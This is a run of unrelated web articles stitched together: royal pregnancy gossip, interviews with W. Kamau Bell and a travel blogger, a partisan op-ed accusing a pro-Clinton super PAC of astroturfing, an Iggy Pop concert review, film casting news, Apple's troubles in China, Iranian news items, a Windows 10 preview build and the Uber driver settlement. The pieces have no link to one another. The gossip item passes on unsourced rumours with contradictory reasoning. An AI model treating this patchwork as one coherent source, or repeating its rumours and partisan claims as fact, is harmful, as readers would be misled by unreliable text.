New reports are now bringing back the Katie Holmes-Jamie Foxx wedding with the details about the wedding venue, could this be true this time? Are they getting married? When will they admit their relationship? Share your thoughts below.
Kate Middleton and Prince William are reportedly expecting twins! Now, there is no secret that Kate Middleton and Prince William wants a big family together, but the royal couple is way too busy with their duties and with their two toddlers, Prince George and Princess Charlotte.

According to the report by Life & Style Weekly, Kate Middleton is a few weeks along her pregnancy. However, Prince William and Kate Middleton did not expect the pregnancy. But, as you royal watchers can see, the couple has been extremely busy with their royal duties that it is impossible for Kate Middleton to get pregnant.

Another fact that leads to Kate Middleton not being pregnant is the wardrobe choice she had during her trip with husband, Prince William, to India and Bhutan, wherein the Duchess of Cambridge was seen wearing tight jeans and body fitting dresses. However, fans who really believe that Kate Middleton is pregnant with twins opposed and said that the palace normally announces the pregnancy of royal when they are 12 to 14 weeks along their pregnancy.

Queen Elizabeth would not want Kate Middleton to travel to such far places is she knew that she was carrying twins. So, the rumors are more likely to stay as rumors rather than being true. There is also a bigger issue between Kate Middleton and Prince William, as the Prince is still in Kate Middleton's bad side after Prince William jetted off to Kenya to attend Jecca Craig,s wedding.

Prince William is also said to be still into his first crush Isabella Calthorpe, whom he was seeing for quite a while and is said to be his first choice to be his wife. Kate Middleton must be devastated.

What do you think? Wouldn't it be cute to have twin royals? Share your thoughts!
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Also read our feature on W. Kamau Bells new show United Shades of America.

On the first episode of his new CNN series, United Shades of America, comedian W. Kamau Bell meets with various representatives of the Ku Klux Klan. We asked Bell what he was most surprised to learn about the Klan of today when he was working on this episode. Here are three things he discovered about the Klan.

Bell: In the history of the Ku Klux Klan, at one point, depending on estimates, there were between 3 to 5 million Americans who were members of the Klan. And now those numbers have fallen significantly. But when youre standing in front of them that doesnt make you feel any better. If theres only five of them there, it doesnt make it less scary.

Bell: Theres a guy, Nathan Bedford Forrest, theres a high school named after him in Florida. There are different monuments, some of them are Confederate and some of them are monuments to high-ranking members of the Klan. Thats a part of American history and some people are still celebrating it.

Paste: How do you feel about the movement to remove monuments like that?

Bell: We should always be having a conversation about if we could make this country more inclusive, and what we can do to do that. How can we improve those things? That conversation is the same one were having about bathrooms right now. The country should be more inclusive, not less inclusive, and over an infinite timeline it becomes more inclusive. It doesnt always happen at once. As much as some people like to put down political correctness, if it wasnt for political correctness I wouldnt be free right now.

Paste: How about those people who are like why arent you inclusive of my right to be exclusive, or tolerant of their intolerance?

Bell: I support your right to be exclusive as long as society is inclusive. Thats why I hope you have a home to go to. You can be as exclusive as you want to in your house, but once you walk outside your house you have to realize that its not your world anymore, its all of your world. I think about that all the timeI dont actually care if those guys in the Klan hate me, as long as if they come across me on the street they dont try to limit my ability to be out in the world. Its not about the Rodney King, can we all just get along, I dont think thats a necessary thing to even try to aspire to. Can we all just be in the world together?

The Klan groups Bell meets with seem relatively poor, poorly educated and in poor shape. Thomas Robbs group outside Harrison, Arkansas, is better funded and organized, but comes off like a hate-cult full of bland, doughy suburbanites. Even if they werent racists and members of a despicable hate group, none of them would seem like credits to their race.Ed.

Bell: Like this is the supreme side of whiteness? Its not really saying that much about itself.



United Shades of America premieres on CNN on Sunday, April 24, at 10 PM ET/PT.

Bells next stand-up special, W. Kamau Bell: Semi-Prominent Negro, which was directed by Morgan Spurlock, premieres on Showtime on Friday, April 29, at 10 PM ET/PT.

Garret Martin edits Pastes comedy and games sections. Hes on Twitter @grmartin.
This column, Escape Artist, is a series about folks who have escaped. More importantly, this biweekly column is for those thinking about trading in their 9-to-5, leg-shackled-to-the-desk existences in order to grab life at the roots and forge their own way. The brave outliers featured in these collection of interviews are the digital nomads, online entrepreneurs and lifestyle trendsetters, who decided it was time to say to hell with the humdrum and go elbow deep to grab life by the roots.



Traveler and writer Kiersten Rich runs The Blonde Abroad, a lifestyle blog that features travel tips, fashion and photography around the world. Kiersten went from business suit to bathing suit, ditching her corporate finance career in 2011 to travel full-time. Shes visited more than 50 countries and creates content for consumer companies and travel brands. In 2016, she wants to grow her audience by producing more videos and posting on Snapchat.

Paste Travel The escape the 9-to-5 mentality is becoming more popular now. What are your impressions?

Kiersten Rich I definitely feel like this generation  especially my group, which graduated from college during the recession  has to get creative with our futures. I was lucky to get a job after graduation, but within a year, I felt like there was more to life than the 9-to-5. More people are becoming digital nomads so they can focus on developing skills they care about after college, such as music production or graphic design. This new mindset is born out of the advancement in social media and the digital space, where people can create their own business in a way they couldnt do before.

PT What was the aha moment that sparked ongoing travel for you?

KR I had several moments that prompted me not to pursue finance anymore. Out of college, I didnt know what I was really good at doing or what my calling was. My peers and mentors encouraged me to travel, not necessarily to come home with a plan, but to be open to an idea coming out of the experience. I booked a solo trip to Thailand, which changed my outlook on life regarding cultural differences, opportunities and my own capabilities. That gave me the confidence to move forward, travel by myself and build a business.

PT Why did you decide to create a lifestyle blog and use the name The Blonde Abroad?

KR Originally, the blog was a diary of what happened during my travels, and the tagline of that blog was the journey of the blonde abroad. Years later, it came full circle with my identity and the idea that its OK to be who you are. Am I young professional? Am I budget travel backpacker? None of those labels fit me. Im blonde. Ill always be blonde. We base a lot of our identity on what we look like, which is so limiting. Were so much more than what we look like, and I wanted to make fun of myself to inspire others. That allowed me to be me and create the site as an outlet for that.

PT The dream job and travel blogging mentality also seems to be booming. What have you seen, and how do you stay connected with your followers?

KR When I first started blogging, it was already saturated. But my perception is that theres always room to bring something new to the table, and personality plays a big part in the digital space. The most important aspect is connecting with your audience. Im never shy about talking about my journey to get here and what Im learning. In return, its more like Im in a community of people who support each other.

PT How does this lifestyle compare to your previous life in California?

KR As I built the business, I sold almost everything and moved back in with my parents. When I come home, I still stay with my family. In the United States, we put a lot of weight into independence and moving out on your own. Its embarrassing to live with your parents. Of the 50 countries Ive visited, however, more than 60 percent dont think you should move out until youre married. We put this big weight on ourselves here, and it makes no sense. Before, I lived my life based on what other people thought of me and expected of me. Now I live for whats best for me.

PT What is one tip you have for readers who want to live a life like yours?

KR On the surface, it seems so amazing, but not many people understand how much work goes into building this kind of business. I have a team of six people who help me manage the content and our audience. The reality is that it takes years of unpaid digital work to build. Dont ask if you want this lifestyle  ask if you want this business. If you could dream up a business, would it revolve around an online brand and spending your time on a computer? I know several people whove had a profound realization once they dug into the workload of travel blogging.

PT Do you have a favorite travel spot youd like to share with Paste readers?

KR Some places stick with you. The long-term trips Ive taken to Bolivia, Peru and Central America made me fall back in love with travel because I became close to the local culture. For me, travel is about smiling at someone else on a bus in China or standing on a glacier in Iceland. Those raw, random moments touch your soul and remind you what little place you take up in the world.

Carolyn Crist is a freelance journalist based in Georgia. She writes about travel, health and business for regional and national publications.
Correct the Record is a pro-Clinton super PAC founded and run by a man named David Brocka former conservative hit man whose greatest hits include the vicious defaming of sexual assault victim Anita Hill when she threatened to subvert the Supreme Court appointment of conservative justice Clarence Thomas. Just for fun, heres Brock on himself from a 2001 confession designed to promote his tell-all, come-to-Jesus book:

Describing an article he wrote for The American Spectator, a conservative magazine, in 1992, which became the basis for his book on Ms. Hill, he said he did everything he could to ruin Hills credibility, using virtually every derogatory and often contradictory allegation I had collected on Hill into the vituperative mix.

I demonized Democratic senators, their staffs, and Hills feminist supporters without ever interviewing any of them, he continued.

Nice guy.

The reformed version of Brock has been the same vicious, defamatory creature of his past, but this time on behalf of Bill and Hillary Clinton. He went from being one of the most fearsome propagandists of the conservative rightone who arguably set Bill Clintons impeachment in motiontowell, to one of the most fearsome propagandists of the political left. Hes good at what he does, and his progressive media watchdog group Media Matters for America quickly became a force in D.C., with millions in donations and the support of the Center for American Progress.

But Brock reserves his talent strictly for the establishment wing of the political left, and as the founder of Correct the Record, the infamous pro-Clinton super PAC, he has already brought his old flame-throwing instincts to bear on Bernie Sanders, sending trackers to follow him around the campaign trail to categorize every misstep, and even attempting to tie him to Hugo Chavez.

On the public side of things, David Brock has been fairly quiet during the primary cycle, mostly because the real mud-slinging has yet to begin. Hillary Clinton needs Bernie Sanders voters in the general election, so the full-throttle negativity has been limited. The real fun for Brock will begin after the convention. But one place where he and others have been far more active is the online realman area dominated by the young, and thus by Sanders supporters.

Using a tactic called astro-turfing, Clinton surrogates like Brock have attempted to advance the concept of the Bernie Bro, and to promote the idea that Sanders supporters are little more than a sexist cult. The moderator of the thriving Bernie Sanders for President Reddit page, preparing for an onslaught, recently outlined one common form these attacks take:

1. Create fake accounts

2. Establish that they are Bernie supporters by making them tweet about Bernie

3. Harass journalists and influencers in their @ mentions

4. Have other elites/influencers quote tweet these fake accounts and say they are hurting Bernies brand

5. Pitch a story to The Atlantic about the phenomenon of Bernie Bros

6.Establish a narrative that Bernies supporters are all racist, sexist young males who harass people online.

7. Make it more difficult for Sanders to expand his coalition by tainting the view of said coalition for women, people of color, and anyone who just doesnt like online harassment/bullying.

Yesterday, Correct the Record announced theyd be taking it a step further. A new initiative called Barrier Breakers 2016 will use $1 million (for now) to help Clinton supporters push back on online harassment and thank superdelegates.

This is a comical definition that does its best to hide the true purpose: Paying online trolls to support Hillary and antagonize Bernie and his supporters in an attempt to level the playing field. More language from the statement:

In response to these attacks on supporters and superdelegates, Correct The Record is launching the Barrier Breakers 2016 digital task force. While Hillary Clinton fights to break down barriers and bring America together, the Barrier Breakers 2016 digital task force will serve as a resource for supporters looking for positive content and push-back to share with their online progressive communities, as well as thanking prominent supporters and committed superdelegates on social media.

The focus of the digital task force of paid trolls will be predictable: Twitter, Facebook, Reddit, Instagram, and everywhere else people may come across political messaging.

The aim is clearmuddy the waters, and limit the potential of online progressive activism, which has raised millions of dollars for Bernie Sanders and undoubtedly recruited thousands of voters to his cause. One common reaction to the news is shockthe idea that this is unprecedented in American politics. That may be true, but theres a clear model here, and it comes straight from Russia.

If you havent yet read Adrian Chens wonderful New York Times Magazine feature The Agency, I recommend that you do so now. Its an incredible look at the Internet Research Agency, which employs hundreds of Russians to post pro-Kremlin propaganda online under fake identities, including on Twitter, in order to create the illusion of a massive army of supporters; it has often been called a troll farm.

Some of these employees spent their time posting in comments sections, while others went so far as to start their own blogs on seemingly non-political subjects, only to weave political messages into their content when they had an audience. But this wasnt just about convincing Internet users to support the Kremlins positions. It was also about turning the Internet into a political wasteland, so that if anyone sought information that might be against Kremlin policy, theyd encounter a confusing morass and feel immediately discouraged. Chen met with a liberal campaign manager named Leonid Volkov who emphasized this point:

The point is to spoil it, to create the atmosphere of hate, to make it so stinky that normal people wont want to touch it, Volkov said, when we met in the office of Navalnys Anti-Corruption Foundation. You have to remember the Internet population of Russia is just over 50 percent. The rest are yet to join, and when they join its very important what is their first impression. The Internet still remains the one medium where the opposition can reliably get its message out. But their message is now surrounded by so much garbage from trolls that readers can become resistant before the message even gets to them. During the protests, a favorite tactic of the opposition was making anti-Putin hashtags trend on Twitter. Today, waves of trolls and bots regularly promote pro-Putin hashtags. What once was an exhilarating act of popular defiance now feels empty. It kind of discredited the idea of political hashtags, says Ilya Klishin, the web editor for the independent television station TV Rain who, in 2011, created the Facebook page for the antigovernment protests.

This is exactly whats happening with David Brocks Barrier Breakers 2016. In fact, Id be surprised if the Internet Research Agency, and perhaps Chens article, wasnt a direct inspiration. This is not about providing a a presence and space online where Clinton supporters can organize and engage with one another, and anyone who believes that message has been fooled. This is about attacking the ability of Clintons enemies to organize themselves online. As Chen wrote of the Russian troll factory, its target is nothing less than the utility of the Internet as a democratic space.

Clinton and her supporters have watched, in something like horror, as the Internet has aided Bernie Sanders in mounting a shockingly successful insurgent campaign against the establishmentone that came up short, but just barely. David Brocks aim, with Barrier Breakers 2016, is to make sure it never happens again.
Iggy Pop sometimes shows up to events in Miami. Even around town, hes usually shirtless. Once, the former Stooges frontman dropped by the local record stores benefit event and made eye contact with me, offering a chin-jut and a head-nod as a greeting while my underage-self stood shocked, yet giddy.

But Pop, whos called Miami home for more than two decades, hasnt performed in town in years. In fact, last nights show The Fillmore Miami Beach at the Jackie Gleason Theater was the only Florida tour date on the Post Pop Depression tour. Billed as One night only, one time only, the tour in support of his collaboration with Queens of the Stone Ages Josh Homme only consisted of 13 American tour dates. The last remaining U.S. show takes place on April 28, closer to Hommes home, in Los Angeles.

Even before Iggy and crew even graced the stage, the show felt like a homecoming, a joyful reunion. Local garage rockers Jacuzzi Boys opened the show, and even with minimal stage presence, the trios hometown respect felt like the only appropriate way to begin the evening.

Of course, when Iggy and the band appeared and burst into Pops 1977 solo hit Lust For Life, the crowd went insane. By song two, Sister Midnight, Iggy was shirtless. Throughout the two-hour set, he cajoled, coddled, and competed with the audience for who had more energy. (He won. Duh.) He alternated between sweet grandpa-like waves and blowing kisses in between songs to youthful raunchinesshumping monitors, sticking the microphone in his pants, and leading the crowd in a riotous chant of, Fuck! Fuck! Fuck! He also ran into the crowd twice, posing for photos, welcoming high-fives, and dancing with fans.

For their part, the banddressed in sparkly red tuxedo blazers, white dress shirts, and black tiesprovided a rock-solid musical foundation. With Homme (who produced and co-wrote Post Pop Depression) on one guitar, multi-instrumentalist Dean Fertita of Queens of the Stone Age, drummer Matt Helders of Arctic Monkeys, and two additional musicians, the six-piece group performed the new songs with the same intensity as those from Lust for Life and The Idiot. Additional highlights included the subtle ode to David Bowie with China Girl and when Iggy told a story about meeting Chuck Berry for the first time before launching into Chocolate Drops.

Even a coldcaught by venturing north of Florida, Iggy claimedcould not stop the Post Pop Depression tour from simultaneously melting hearts and faces. The show was an impressive feat of ageless, timeless rock. But more importantly for Miami, it was a reason to be proud of our city and our adopted hometown hero.

1 of 7 Jacuzzi Boys Hilary Saunders

2 of 7 Iggy Pop Hilary Saunders

3 of 7 Iggy Pop Hilary Saunders

4 of 7 Iggy Pop Hilary Saunders

5 of 7 Iggy Pop Hilary Saunders

6 of 7 Iggy Pop Hilary Saunders

7 of 7 Iggy Pop Hilary Saunders
Bong Joon-Hos forthcoming sci-fi film Okja has assembled one hell of a cast. The film, which began principal photography just yesterday, stars Tilda Swinton, Jake Gyllenhaal, Paul Dano and now Steven Yeun, best known for portraying Glenn Rhee on AMCs juggernaut zombie drama The Walking Dead.

Okja is the latest effort from Joon-Ho, the acclaimed filmmaker who recently wrote and directed the stellar sci-fi thriller Snowpiercer. Joon-Hos new project is the story of a young girl named Mija (Seohyun An) who befriends Okja, a genetically engineered animal. When the creature grows to a massive size, his powerful corporate creators reclaim him, forcing a now-teenaged Mija to undertake a rescue mission. With Okja I want to show the beauty that can exist between man and animal, and also the horror between them, Joon-Ho said in a statement.

No details have been released about Yeuns role in the film as of yet. The preternaturally talented Swinton, who also appeared in Snowpiercer, will play both the head of the evil corporation and her twin sister. Gyllenhaals character is a zoologist, while Danos is an animal activist whos out to expose the corporations evil ways. Devon Bostick, Lily Collins, Byun Heebong, Shirley Henderson, Daniel Henshall, Yoon Je Moon and Choi Wooshik round out the cast.

Perhaps irrationally, we cant help but wonder if this new role spells doom for Yeuns The Walking Dead character, considering that Glenns fate, sealed definitively by Negan in the comics, was left hanging in the balance at the end of the shows much-maligned season six finale. But regardless, were excited to witness Yeuns long-overdue breakout into film, not to mention Joon-Hos next foray into English-language sci-fi.

Brad Pitts Plan B is producing Okja, which Netflix will release. The film will shoot in Joon-Hos home country of South Korea, Canada and the US, in both English and Korean.

Okja is expected to hit Netflix sometime in 2017the film will also have a limited theatrical release in the US.
Days after we learned that China demanded to have Apple's iOS Source Code but was denied, we learn that China's regulatory body known as the State Administration of Press, Publication, Radio, Film and Television abruptly shut down Apple's iBooks Store and iTunes Movies. And yet in January 2015 we posted a report titled "Apple is the First U.S. Company Agreeing to have their Products Submitted to Chinese Authorities for Web Security Evaluations." So what went wrong?

The New York Times reports that "New resistance from the Chinese government to that expansion could potentially hurt the Cupertino, Calif., company." Back in November 2015 we reported that China was determined to build its own secure smartphones to ensure no foreign country back doors, even though Apple assured China's ministry to the contrary back in 2014.

The New York Times quotes Daniel H. Rosen, founding partner of Rhodium Group, a New-York based advisory firm specializing in the Chinese economy as saying that "China has sweeping goals in its move against Apple. They are interested in protecting the content that the Chinese people see, policing its national security and favoring indigenous giants such as Huawei, Alibaba and Tencent." In this new era, he added, China "is strongly disinclined to accept the dominance of foreign players on the Internet, not least those from the United States."

After the shutdown of Apple's services, President Xi Jinping of China, who has led a crackdown on Western ideology, conducted a meeting on Tuesday in Beijing on China's restrictive Internet policies. China's top tech leaders, including Jack Ma, chairman of the e-commerce company Alibaba, and Ren Zhengfei, head of Huawei, were present at the meeting.

"China must improve management of cyberspace and work to ensure high-quality content with positive voices creating a healthy, positive culture that is a force for good," a report by the state-run news service Xinhua quoted Mr. Xi as saying.

There have been some signs of trouble ahead. Mr. Xi has presided over a deep freeze on the Internet, increasing censorship and taking aim at online tools used to circumvent China's system of online filters, known as the Great Firewall. He has also added new policy tools to keep tabs on electronic communications. Mr. Xi heads a committee of top leaders set up to streamline tech and Internet policy and turn the country into a "cyberpower."

In addition, the Chinese government proposed an antiterrorism law two years ago that would require foreign companies to turn over encryption keys  the codes that enable otherwise-scrambled information to be viewed  for security reasons. Though the language was ultimately dropped, analysts said the government wants to have access to all communications within China. For more on this story, see the full New York Times report here.

In the end it could be as simple as Apple working with China's Ministry to scrutinize some of the content on their online services a little more carefully or it could be the beginning of darker intensions ahead.

Last September we noted the Chinese "government distributed a document to some American tech companies earlier this summer, in which it asked the companies to promise they would not harm China's national security and would store Chinese user data within the country, according to three people with knowledge of the letter who spoke on the condition of anonymity.

The letter also asks the American companies to ensure their products are "secure and controllable," a catchphrase that industry groups said could be used to force companies to build so-called back doors  which allow third-party access to systems  provide encryption keys or even hand over source code.

Signing the new pledge could set a precedent of American tech firms openly cooperating with Beijing and enabling snooping on users. Conversely, a refusal could bring fresh restrictions or penalties for companies in China's enormous market."

As noted at the top of our report, Apple's Sewell made it known that they denied China Apple's source code, and lo and behold, China is now bringing fresh restrictions and penalties against Apple in the form of stopping certain iTunes content. Is that a coincidence or simply China acting on exactly what they said they would do if tech companies like Apple didn't cooperate with them over handing over their source code? And more importantly, over time, will Apple blink so as to save their growth opportunities in China?

About Making Comments on our Site: Patently Apple reserves the right to post, dismiss or edit any comments.
"We're not used to seeing growth in our check business," said Deluxe's Tracey Engelhardt, who reports a 6% to 7% increase in revenue for check orders from businesses and consumers in each of the last three quarters, driven by various factors originating from the pandemic.
Imprisoned Iranian Physicist Loses Kidney to Cancer, Must Be Released Permanently

04/22/16

Source: International Campaign for Human Rights in Iran

Omid Kokabees Life Endangered by Years of Denied Medical Care in Iran Prison

April 21, 2016-Omid Kokabee, the young physicist who has been imprisoned in Iran for over 5 years for his refusal to work on military research, underwent surgery on April 20, 2016 to completely remove his right kidney, which was in an advanced stage of cancer.

Omid Kokabee should be immediately released permanently and unconditionally, so that he may receive full medical treatment, ending this long injustice that has directly endangered his life, the International Campaign for Human Rights in Iran said today.

Kokabees cancer is a direct result of the years of denied medical care in prison, said Hadi Ghaemi, executive director of the Campaign.

How many more political prisoners will be effectively given a death sentence because the authorities in Iran punish them further by withholding medical care? asked Ghaemi.

An informed source told the Campaign that doctors treating Kokabee said because of the advanced stage of the cancer, he had to undergo immediate surgery. Kokabees right kidney was removed in Sina Hospital in Tehran yesterday.

The source said that the young scientist remained in pain after the surgery and that treatment of his multiple other illnesses, including serious digestive illness, had been put on hold while the cancer was being addressed.

Kokabees cancer was only recently diagnosed because prison authorities had refused to treat his repeated reports of pain, bleeding and other complications for years following multiple bouts of kidney stones. The familys repeated requests over the past several months for medical furlough (temporary leave) for testing and treatment were denied. He was not transferred to specialists in hospital, but rather given painkillers in the prison infirmary, until his condition became critical and he was finally taken to hospital. As a result, a large malignant tumor in his kidney progressed.

In an April 2013 open letter from Evin Prison to Irans supreme leader, Ali Khamenei, Kokabee wrote that he was imprisoned for refusing an offer from the Iranian intelligence establishment to collaborate on a military research project. Kokabee is currently serving a ten-year sentence for contact with enemy states.

Kokabee has been eligible for parole for two years, yet judicial authorities have refused to release him, said Ghaemi, Rouhani must press the Judiciary to answer for this.

Thirty-one Nobel Physics laureates called for his release in October 2014, the American Physical Society awarded their 2014 Andrei Sakharov Prize to Kokabee, and the Committee of Concerned Scientists published an open letter on January 30, 2016 to Iranian President Hassan Rouhani calling for Kokabees unconditional release.
Iran slams US Supreme Court ruling as money theft

04/22/16

Source: Press TV

Iran has strongly condemned a ruling by the US Supreme Court granting some two billion dollars in frozen Iranian assets to the families of victims of a 1983 bombing in Beirut, saying it violates international law.



Iranian Foreign Ministry spokesman Hossein Jaberi Ansari





The US Supreme Court on Wednesday ruled that almost $2bn in frozen Iranian assets must be turned over to American families of people killed in the 1983 bombing of a US Marine Corps barracks in the Lebanese capital of Beirut and other attacks blamed on Iran.

The assets belong to the Central Bank of Iran (CBI), which has been blocked under US sanctions.









"The ruling has mocked [international] law," Iranian Foreign Ministry spokesman Hossein Jaberi Ansari said on Thursday, adding, It "amounts to appropriation of the Islamic Republic of Iran's property" in the US.

Jaberi Ansari noted that the US government should compensate for any damages inflicted on Iran as a result of the ruling.

He further warned that such moves increase the distrust between Tehran and Washington.

In 2012, the US Congress passed a law that specifically directed the US-based Citibank to turn over the Iranian assets to families of victims of the Beirut bombing.

Iran argues that Congress is intruding into the business of federal courts over the case. Tehran has long rejected allegations of involvement in the 1983 Beirut bombing.
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If youre a member of Microsofts Windows 10 Insider program, today is like Christmas. Build 14328 of Windows 10 for PCs and Windows phones packs Anniversary Update features like Windows Ink, changes to the Action Center, and better battery life into whats probably the largest Insider update ever. Get ready to freak out.

Though Microsoft stuffed tons of updates into this new build, some should feel familiar. Bugs halted the deployment of Windows 10 Mobile build 14322 to PCs, for example, but its updates to the Action Center and other improvements have now been added. This is also your first chance to experience several Anniversary Update features due this summer, including Windows Ink and Cortana on the Windows 10 lock screen.

But Microsoft has also tweaked virtually every element of the Windows 10 interface: the Start menu, the Action Center, the lock screen, the taskbar, and the Settings menu have all been revamped in some way. And if you have a Connected Standby-capable PC like a Microsoft Surface, expect better battery life as well.

Yes, you do need these stinkin badges: the updated Taskbar in Build 14328 includes badges that provide more information about UWP apps.

Theres just one catch: as experienced Insiders know, many features mean many bugs. Microsoft explicitly warned that the new build contains code with very little stabillization, meaning that the new build, available to Fast Ring subscribers, will likely have issues. You might want to test this on a secondary, non-essential PC.

Why this matters: As Microsoft prepares to release its Anniversary Update this summer, Windows 10 Insiders are getting a chance to try out and help debug some of Microsofts new features. Just to be clear, thoughthis is not the Anniversary Update itself; additional new features will be shipped as part of future builds, a Microsoft spokeswoman said via email.

Windows Ink: Workspace, Sketchpad, Sticky Notes and more

Windows has always been at the forefront of making humancomputing interaction more natural, and the digital pen is the next iteration of that, Li-Chen Miller, group program manager for the Ink team, explained as part of Microsofts introduction to Windows Ink.

The Windows 10 Windows Ink Workspace. (What a mouthful!)

In a sense, Ink is a recognition that Microsoft has bundled a pen with the Surface Book and Surface Pro 3 and 4but there hasnt been that much to do with it. Thats changed completely with the creation of a Windows Ink Workspace within Windows 10. Click the pen icon on the toolbaror the button on top of the Surface Pen, on a new PCand Windows 10 will launch the Windows Ink Workspace, a collection of pen-enabled apps that will appear as a right-hand nav bar on your Windows desktop. If you dont have an active pen but your PC has a touchscreen, you can right-click the taskbar and enable finger-inking.

There are new Settings specific to the pen, too.

Within the Workspace, apps like Sketchpad provide a new twist on existing apps like Fresh Paint, but with the digital ruler functionality Microsoft showed at Build. Screen Sketch lets you draw on a full-sized screen capture, a la Microsoft Edge. Sticky Notes allow you to draw your own reminderswhich will eventually be sucked into Cortana, too. Finally, Microsoft revamped the pen Settings menu and is even building out a pen-optimized subset of the Windows Store.

For more information about Windows Ink, check out this video:

Hurray! Microsofts tweaked the Start menu

Microsoft enjoys fiddling with the Start menu, but we think youll like these changes: the most used apps list and the all apps list are now a single view, optimized to eliminate unnecessary clicking and scrolling. Any folders youve placed into Start will be immediately available, without the need to access the hamburger menu.

Note some of the changes in the new Start menu: the recently added shows three entries, and the all app section is just a scrollable column.

Perhaps best of all, the Power, Hibernate, and Sleep commands have been separated and stored on the left rail, where they will always be accessible.

In tablet mode, Microsoft also made a change: It brought back the grid view to All Apps. Well, sort of. The menu has been revamped, though Microsoft also retained the pinned tile view.

The Start menu in tablet mode.

Help Cortana help you, no introduction necessary

Microsoft taught Windows 10s Cortana assistant a number of new tricks, but perhaps the most interesting is the fact that you dont necessarily need to introduce yourself anymore.

Instead of a digital assistant, Cortana can become more of a librarian, answering general questions about the world without the need to sign in and disclose your personal information. If you want to set a reminder or ask for personalized assistance, though, youll need to sign inespecially if you want Cortana to look through your OneDrive for a file, another new feature.

Cortana also appears on your PC lock screen, where she can be configured to respond to questions and set reminders if you enable the Hey Cortana feature. (You may need to unlock your device in certain situations.) Note that youll probably consume some additional power while doing so, but how much isnt clear.

Cortana on the Windows 10 lock screen.

Cortana also includes the features from recent Windows 10 Mobile updates, including Build 14322, with the capability to tie camera photos to reminders, as well as send content from universal Windows apps like the Edge browser to Cortana as a reminder to read later. More to the point, Microsoft also has tied Cortana more closely to your Windows phone: Cortana will now inform you of low battery power on your mobile devices, you can ask Cortana to find and ring your phone, and you will be able to share maps across all your devices. Media playback controls have also been added to the PCs lock screen, a feature that debuted in Build 14322 as well.

Finally, if you really hate that Cortana displays your email address on the lock screen, good news: thats gone.

Taskbar, Action Center become workspaces

Normally a collection of icons that quickly allow you to navigate from app to app, the Windows 10 taskbar now offers its even more context. Universal Windows apps like Mail will show off badges that indicate how many unseen (not unread) emails you have. And if you want to see your calendar, you dont need to open the appthe taskbar will display it, and even allow you to add an appointment.

Who needs the Calendar app? The Taskbar has you covered.

One icon, though, has vanished from the Taskbar: the File Explorer icon, which has been removed. Last year, Microsoft killed the search box, and this year, the File Explorer has been unpinned. Its still accessible from the Start menu, though, and you can always repin it. But if you discover it, youll also notice a slightly revamped icon.

There are also a few handy little conveniences Microsoft added: clocks now display on all monitors, and you can switch audio playback devices via the volume settingusing your headphones while on work time, for example, but your monitor speakers after hours.

The Taskbar within Build 14328 does a better job of organizing notiifcations.

Microsofts Action Center changes were documented in Build 14322 as well, and include visual changes that consolidate notifications by app. Perhaps the most subtle change is the addition of a taskbar badge that shows the unread notifications. Cortana may also drop in notifications, such as meeting conflicts, into the Action Center, Microsoft said. Finally, theres another convenience: clicking the Wi-Fi control doesnt turn off the Wi-Fi any more (why would you want to do that?) and instead brings up a list of available access points.

Improved battery life via Connected Standby

Although the vast majority of the updates in the new Build 14328 concern the user interface of Windows 10, theres a big hardware update, too: improved battery life. Microsoft quieted down some of the background chatter apps use to update themselves on PCs with Connected Standby capabilities. (Not sure if your PC supports it? Run Command Prompt, then type powercfg /a to see if your PC supports the Standby (S0 Low Power Idle) Network Connected or Connected Standby state. Microsoft didnt say how much battery life the tweak will add, but promised improved and more consistent battery life.

Revamped Settings and other tweaks

Within the PC, the Settings menu has also been overhauled, with small icons that mimic the mobile Settings menu. Microsoft also reworked the user interface for the Universal Access Control (UAC) dialog, and added a few improvements to how Windows 10 handles Japanese expressions. Microsoft also moved the Insider build page to its own Settings menu. And if an app goes bad, you can also reboot it with a specific Apps reset button.

Theres one more small improvement worth mentioning. If you use Windows 10s virtual desktops, you can now swipe between them. Just use four fingers and swipe left and right on the touchpad.

Is this the largest Windows Insider update ever? Wed certainly say so. Microsoft should be rolling out the update today. Let us know of any issues in the comments, and good luck!
Uber Technologies has arrived at a settlement with drivers in two lawsuits that could see the company paying up to US$100 million, but without a change in the classification of its drivers from independent contractors to employees.

The settlement, submitted in court Thursday, is a big boost for the ride-hailing app company as driver reclassification would have raised its costs in terms of employee benefits as well as set a precedent for similar court disputes against on-demand companies that typically use contract workers.

As part of the settlement, which covers the classification claims involving Uber in California and Massachusetts, the two sides have agreed that drivers will remain as independent contractors and not employees, the companys CEO Travis Kalanick said in a blog post. He said a $84 million payment to the drivers could see a top up by $16 million depending on Ubers valuation if it goes public.

Kalanick also addressed some other driver issues by promising drivers more information on their individual ratings and comparison with peers. The company will introduce a policy explaining the circumstances under which the company deactivates drivers in the two states from using the app, and will set up up drivers associations in both states.

The judge of the U.S. District Court for the Northern District of California had granted class certification to the drivers, a decision that Uber challenged in the U.S. Court of Appeals for the Ninth Circuit. The company has said it would ask for an emergency stay of the district court proceedings pending the appeals court decision, unless a settlement was reached, lead attorney and class counsel for the drivers, Shannon Liss-Riordan, wrote in a filing in support of the preliminary settlement. The trial in the district court is scheduled for June.

We faced a risk that the Ninth Circuit may disagree with the district court on his rulings certifying the case as a class action and holding Ubers arbitration clause to be unenforceable, Liss-Riordan wrote in an email. Uber had also made it clear that it would try to appeal to the Supreme Court if the Ninth Circuit went along with the decision of the district judge.

In the event, Liss-Riordan pointed to both monetary and non-monetary benefits to the drivers from the proposed settlement, including that Uber will not be able to deactivate drivers at will, and drivers will not be subject to deactivation for low acceptance rates.

Drivers who believe they are unjustly terminated may bring their concerns to a panel of their peers and those who are not satisfied with the result of these appeals can bring their claim to a neutral arbitrator, at Ubers expense, Liss-Riordan wrote in her email. Uber will also make clear to riders that tips are not included in its fares, she added.

Another major risk that Liss-Riordan took into account in supporting a settlement was the risk of trying the all-important employment status question to a jury, she wrote in the filing. The counsel was concerned that the jury would rely on their own lay understanding of what constitutes an employee or an independent contractor. I am concerned that a jury would give undue weight to the fact that drivers value their flexibility (something that Uber has made clear it intended to impress upon the jury even though I contend it is not relevant) and would likewise give undue weight to the fact that the parties contract states that drivers are independent contractors, she added.

Importantly, the case is being settled  not decided, wrote Liss-Riordan in her email. No court has decided here whether Uber drivers are employees or independent contractors and that debate will not end here. As a result of the high-profile litigation, a number of companies have chosen to classify their workers as employees with the relevant protections, she added.

The proposed settlement between Uber and the drivers follows another preliminary settlement proposal between Lyft and drivers that also skipped the reclassification issue, despite opposition from the Teamsters Union.

